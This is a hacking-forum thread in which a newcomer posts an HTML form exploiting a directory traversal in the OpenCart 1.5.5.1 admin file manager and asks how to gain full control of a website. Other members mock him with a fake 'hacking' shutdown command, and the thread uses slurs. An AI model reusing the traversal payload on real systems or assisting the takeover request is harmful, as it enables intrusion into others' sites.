Thread: [downloaded index.php! what's next?](#)

moe00 - March 18, 2014, 5:39 am

```
<html><body><center>
<form
action="http://localhost/oc1551/admin/index.php?route=common/filemanager/directory&token=
xxxxxx" method="post">
<input type="hidden" name="directory" value="..\..\\">
<input type="submit" value="Test">
</form>
</center></body></html>
```

this is opencart website. 1.5.5.1.1 version
i used this script above, i am in ACP and i used this script.
the page gave me test icon . clicked on it then it gives me download index.php file.

i downloaded the file

what shall i do next to control the overall website?

SohnGottes - March 18, 2014, 5:43 am

Press Windows key + R. Then in the popup type "cmd" and press enter. Now a black window opens, here you will put "shutdown -s -t 1".

moe00 - March 18, 2014, 5:47 am

i dont want to shutdown my pc cock s** :)

SohnGottes - March 18, 2014, 5:48 am

Then add the -c parameter for controlling it:

```
"shutdown -s -t 1 -c get_control"
```

moe00 - March 18, 2014, 5:53 am

what this has to do with hacking the website bro? this will shut down my pc are you kidding with me

Krew - March 18, 2014, 5:54 am

```
"shutdown -s -t 1 -c get_control"
```

This works. Big vouch for that. It basically is a script that automatically hacks for you.

nullpeer - March 18, 2014, 5:56 am

Oh you faggots, molesting a newcomer. ?

moe00 - March 18, 2014, 5:57 am

(Mar 18, 2014 05:56 AM)nullpeer Wrote: [\[CITE\]](#) Oh you faggots, molesting a newcomer. ?
bro i am not that stupid, those fuckers trying to mess out, am not that too much noob! lol

(Mar 18, 2014 05:54 AM)Krew Wrote: [\[CITE\]](#) This works. Big vouch for that. It basically is a script that automatically hacks for you.
Definitely working for me! Used it to hack the FBI

(Mar 18, 2014 05:57 AM)xtreme100 Wrote: [\[CITE\]](#) Definately working for me! Used it to hack the FBI hahahhaa, idiotttttt!!!!!! :) you think urself funny?
yeah i confess i am new to hacking, but at least i made some good steps in exploits if you think yourself smarts messing around :) then you are totally wrong

(Mar 18, 2014 05:48 AM)SohnGottes Wrote: [\[CITE\]](#) Then add the -c parameter for controlling it:

"shutdown -s -t 1 -c get_control"
This script is actually amazing !

Thanks for the release ??

Some people on here they aren't suppose to help you here some people are meant to troll you and tease you off so you are going to get pissed off and guess what you can't do anything to change that so accept it and ignore them, let them decide if they would like to help you out.

No wonder this forum has become so useless recently. Idiots trying to be humorous instead of helping people. ?

I don't think you can do anything with the index.php...

(Mar 18, 2014 06:44 AM)nullpeer Wrote: [\[CITE\]](#) No wonder this forum has become so useless recently. Idiots trying to be humorous instead of helping people. ?

You probably haven't seen the other threads of the OP. Basically he is trying to hack a page but can't get it done and is immune to any help offered in any of the last 3-4 threads he opened for the same topic, so yeah you can go ahead and try to help him, but he probably won't listen and just open a new thread ?

i know bros, let them speak to the hand, all are bullshitters

(Mar 18, 2014 05:43 AM)SohnGottes Wrote: [CITE](#) Press Windows key + R. Then in the popup type "cmd" and press enter. Now a black window opens, here you will put "shutdown -s -t 1". There shouldnt be a space at "-t" lol you cant even get that right. And ill suggest -t 0, to be more 1337.

Can't stop laugh : D

moe00 - March 18, 2014, 10:05 am

you can laugh man but you are not helping :)

maybe if you were a good listener you would help me figure out how to solve this.

I can see that this forum is full of stupid kids, no one even want to help. i do not understand the reason why you people making fun of nothing.

just trying to learn

Skorp - March 18, 2014, 10:09 am

Didn't we spoonfeed you about another site yesterday? ?

The_J0k3r - March 18, 2014, 10:12 am

(Mar 18, 2014 10:09 AM)Skorp Wrote: [\[CITE\]](#) Didn't we spoonfeed you about another site yesterday? ?

It's the same site... ?

Spoiler [\(Click to View\)](#)

damn s...

moe00 - March 18, 2014, 10:14 am

(Mar 18, 2014 10:09 AM)Skorp Wrote: [\[CITE\]](#) Didn't we spoonfeed you about another site yesterday? ?

skorp my friend, mobil3 gave me that script i posted up.

it redirected me to "test" icon and download index.php

all what i am trying to do is control over the website as full control.

uploading shell didn't succeed as u can see in this thread

hackforums.net/showthread.php?tid=4121210

Skorp - March 18, 2014, 10:15 am

Well i asked for the website and you said NO, I'LL DO IT MYSELF... in 10yrs, nothing happened, crickets chirp.

NotCoolBro - March 18, 2014, 10:16 am

If you share the details to a skilled member they can help you, but seeing as you are so fucking sure that you wont accept any help.

moe00 - March 18, 2014, 10:41 am

nah mobil3_xt told me not to feed anyone with anything. i will wait him for help he is the best here.

NotCoolBro - March 18, 2014, 10:51 am

anything. i will wait him for help he is the best here.
I remember when he asked me for help. TopKeks though

24/7 - March 18, 2014, 1:53 pm

Bro we aren't making jokes because we are trolling on this forum, we're making jokes because you could have used the search button in order to find your answer.
